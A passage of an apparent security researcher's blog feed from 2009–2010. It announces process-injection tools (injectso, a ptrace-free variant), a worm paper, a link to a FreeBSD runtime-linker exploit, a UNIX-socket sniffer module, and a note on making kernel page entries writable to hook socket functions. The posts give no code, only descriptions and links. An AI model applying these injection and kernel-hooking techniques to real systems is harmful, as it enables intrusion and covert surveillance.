src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7480104490283674133</id><published>2010-02-05T07:04:00.000-08:00</published><updated>2010-02-05T07:05:23.614-08:00</updated><title type='text'>Runtime hot-patching processes w/o ptrace</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I am a fan of achieving the same result with multiple, different,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;solutions/implementations. In computer science (and security&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;in particular) this leads to real benefit and cutting edge&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;because if you have more ways to do it, you are not limited&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;or bound to techniques that may change, evolve or are&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;hardened/dropped completely. One such example is the &lt;b&gt;injectso&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I recently published. It uses &lt;i&gt;ptrace()&lt;/i&gt;, but if you think&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;removing &lt;i&gt;ptrace()&lt;/i&gt; from the kernel is a plus, have a look&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;at &lt;a href="http://stealth.openwall.net/local/lasso-0.2.tgz"&gt;lasso&lt;/a&gt;. It does the same thing without using &lt;i&gt;ptrace(&lt;/i&gt;).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;There is more than one way to Milano. 8-)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7480104490283674133?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7480104490283674133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7480104490283674133' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7480104490283674133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7480104490283674133'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2010/02/runtime-hot-patching-processes-wo.html' title='Runtime hot-patching processes w/o ptrace'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3908864375037402519</id><published>2009-12-23T06:40:00.000-08:00</published><updated>2009-12-23T06:40:38.070-08:00</updated><title type='text'>Thoughts on companion worms</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I wrote a paper almost a year ago now and since it has been&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;reviewed by a lot of skilled people including, but not limited&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;to, anti virus researchers, its time to make it public.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Its about a special kind of worm and vulnerabilities&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;which are commonly under-hyped like &lt;b&gt;CVE-2008-2383 &lt;/b&gt;which&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;most people would probably only recognize as local, if at all.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;You can find the paper &lt;a href="http://is.gd/5yKDN"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;Enjoy reading it, if you feel that X-mess is coming :)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;This is most likely the last posting for this year, so&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I wish you merry X-mas and happy new year. You can find me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;at the 26C3 in Berlin this year, if everything goes straight.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3908864375037402519?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3908864375037402519/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3908864375037402519' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3908864375037402519'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3908864375037402519'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/12/thoughts-on-companion-worms.html' title='Thoughts on companion worms'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-5183103254742904466</id><published>2009-11-30T23:47:00.000-08:00</published><updated>2009-11-30T23:47:39.720-08:00</updated><title type='text'>Always check return value!</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;A nice bug inside the FreeBSD runtime linker has been&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;reported &lt;a href="http://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It was good that I hashed my previous exploit&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;(discovered it some months ago) in my twitter message&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;from November 5th:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;md5 4b1717926ed0d4823622011625fb1824 sha1 6871fd05efbddf7eea4447f7bfdc1c9a45979fe3&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;Since a public exploit is now available anyway,&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;I also make my version public and you can check the&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;hashes&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&lt;a href="http://stealth.openwall.net/xSports/fbsd-rtld-full-package"&gt;here&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;to prove it.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I have a strange feeling that this re-discovery comes &lt;b&gt;now&lt;/b&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;since I talked to some people regarding BSD bugs lately.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Nevertheless I know &lt;i&gt;kingcope&lt;/i&gt; is a skilled reviewer and&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;it was not the first time he had BSD as a target.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-5183103254742904466?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/5183103254742904466/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=5183103254742904466' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5183103254742904466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5183103254742904466'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/11/always-check-return-value.html' title='Always check return value!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2492307403970465284</id><published>2009-11-15T00:58:00.000-08:00</published><updated>2009-11-15T00:59:52.138-08:00</updated><title type='text'>Adventures in Heap Cloning</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;&lt;b&gt;Heap&lt;/b&gt; seems to be a magic word. I never got download rates&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;like this for a paper. Since there was no feedback that&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;told me that I am completely wrong, I make it&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;available to a broader public now. A small chapter has been&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;added: 'Countermeasures'.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;The paper is available &lt;a href="http://is.gd/4VoyW"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;You probably know that I am not a memory-guy, so do not&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;expect much more research in this area by me.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;I rather really enjoy developing code that hashes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;like this: &amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;sha1: c60a0e1daff22c0d97eb03f509c7135d119d830b&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;md5: fcb19f8317449ad9f93a12fccb63c650.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2492307403970465284?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2492307403970465284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2492307403970465284' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2492307403970465284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2492307403970465284'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/11/adventures-in-heap-cloning.html' title='Adventures in Heap Cloning'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-1170859418088631095</id><published>2009-11-02T02:23:00.000-08:00</published><updated>2009-11-02T02:23:33.665-08:00</updated><title type='text'>xorl blog seems to be up again</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;A few weeks/months ago I sadly realized that the author&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;of the &lt;a href="http://xorl.wordpress.com/"&gt;xorl blog&lt;/a&gt; was quitting his writeups. Now it seems&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;that he is continuing his activities. Now I have&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;something nice to read at the beginning of the day. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Although he  doesn't speak about vulnerabilities he found&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;himself, its one of the better security blogs in my opinion.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I really enjoy reading it and like to recommend it to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;everyone interested in software trickery.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I want more OpenBSD foo. :)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-1170859418088631095?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/1170859418088631095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=1170859418088631095' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1170859418088631095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/1170859418088631095'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/11/xorl-blog-seems-to-be-up-again.html' title='xorl blog seems to be up again'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-964495706628978291</id><published>2009-10-16T07:35:00.000-07:00</published><updated>2009-10-16T07:38:34.344-07:00</updated><title type='text'>injectso 32bit x86 port</title><content type='html'>&lt;a href="http://is.gd/4mwAp"&gt;i&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;njectso&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; now supports x86 and x86-64 architecture. &lt;/span&gt;&lt;b style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;make&lt;/b&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; automagically&lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;compiles the correct version.I also added some code cleanups and&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;error checking as well as the possibility to inject DSO's with relative&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;pathnames as suggested by a patch I received.&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Do not forget to vote (right toolbar:) !&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-964495706628978291?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/964495706628978291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=964495706628978291' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/964495706628978291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/964495706628978291'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/10/injectso-32bit-x86-port.html' title='injectso 32bit x86 port'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8527238389548830035</id><published>2009-10-14T08:43:00.000-07:00</published><updated>2009-10-14T08:43:20.564-07:00</updated><title type='text'>New injectso available</title><content type='html'>&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;I ported &lt;a href="http://is.gd/4jpxU"&gt;injectso&lt;/a&gt; to the new glibc (2.5, 2.9 and 2.10 tested).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;It now runs on Linux/x86-64 machines. Original&amp;nbsp; developed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;by Shaun Clowes in 2001 for i386 and sparc it showed that&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;there is a really simple way on current systems to do that.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8527238389548830035?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8527238389548830035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8527238389548830035' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8527238389548830035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8527238389548830035'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/10/new-injectso-available.html' title='New injectso available'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6551347025974277205</id><published>2009-09-30T02:44:00.000-07:00</published><updated>2009-09-30T05:44:20.666-07:00</updated><title type='text'>unixdump UNIX-socket sniffer available</title><content type='html'>&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold;"&gt;Update:&lt;/span&gt;&lt;br /&gt;Released new version &lt;a href="http://www.suse.de/%7Ekrahmer/unixdump-0.42.tgz"&gt;(0.42)&lt;/a&gt; since 0.41 (not avail anymore)&lt;br /&gt;crashes when accessing udmp device afer &lt;span style="font-style: italic;"&gt;rmmod&lt;/span&gt;.&lt;br /&gt;(The dynamically assigned major number was not updated&lt;br /&gt;for unregistering.) Thanks to &lt;span style="font-style: italic;"&gt;myself&lt;/span&gt; for reviewing my own&lt;br /&gt;code :)&lt;br /&gt;&lt;br /&gt;Ok, its finally avail &lt;a href="http://is.gd/3OtDW"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Do not run it inside an &lt;span style="font-style: italic;"&gt;xterm&lt;/span&gt; or otherwise its&lt;br /&gt;like sniffing all tcp traffic remotely on a ssh shell.&lt;br /&gt;BTW ssh. Due to my ssh timing/packet-size patch&lt;br /&gt;I've been called a &lt;span style="font-style: italic;"&gt;Iran circumvention developer.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Really funny wording. I like to add that to my&lt;br /&gt;resume.&lt;br /&gt;And right in time while typing&lt;br /&gt;they play LOA with &lt;span style="font-weight: bold;"&gt;Love to let you down&lt;/span&gt;.&lt;br /&gt;What do you want more?&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6551347025974277205?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6551347025974277205/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6551347025974277205' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6551347025974277205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6551347025974277205'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/unixdump-unix-socket-sniffer-available.html' title='unixdump UNIX-socket sniffer available'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7777450765220821789</id><published>2009-09-29T09:02:00.000-07:00</published><updated>2009-09-29T09:21:41.644-07:00</updated><title type='text'>When const really means const</title><content type='html'>&lt;span style="font-family: courier new;"&gt;&lt;span style="font-family: courier new;"&gt;Who cares about &lt;span style="font-weight: bold;"&gt;const&lt;/span&gt;? Its never enforced anyways!?&lt;br /&gt;&lt;br /&gt;Except in Linux kernels built with gcc 4.x (maybe even&lt;br /&gt;before?). If you declare a &lt;span style="font-style: italic;"&gt;&lt;/span&gt;pointer member &lt;span style="font-style: italic;"&gt;const&lt;/span&gt;&lt;br /&gt;(the thing it points to, not the pointer itself), like&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;proto_ops&lt;/span&gt; in the &lt;span style="font-weight: bold;"&gt;socket&lt;/span&gt; &lt;span style="font-style: italic;"&gt;struct&lt;/span&gt;, the pointee will be placed in a&lt;br /&gt;RO location which means you cant redirect socket operation&lt;br /&gt;functions like &lt;span style="font-style: italic;"&gt;recvmsg()&lt;/span&gt;. You have to make the right PTE&lt;br /&gt;writable in order to redirect the functions.&lt;br /&gt;Rootk^H^H^H^H^HCertain debugging LKMs like my unixdump&lt;br /&gt;require to redirect some functions in order to record&lt;br /&gt;whats sent across sockets. unixdump works like tcpdump&lt;br /&gt;for inet sockets. The version which is available now was&lt;br /&gt;written in 2006 for the 2.6.16 kernel and doesnt work with&lt;br /&gt;recent/current ones (and its dirty and hackish anyways).&lt;br /&gt;Thats why I ported it within the last days to current kernels.&lt;br /&gt;It will be uploaded soon.&lt;br /&gt;The way you can modify const members changed in current kernels;&lt;br /&gt;in fact is is easier than before b/c a new function &lt;span style="font-style: italic;"&gt;lookup_address()&lt;/span&gt;&lt;br /&gt;is exported and you do not need to walk the PGD down.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7777450765220821789?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7777450765220821789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7777450765220821789' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7777450765220821789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7777450765220821789'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/when-const-really-means-const.html' title='When const really means const'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image 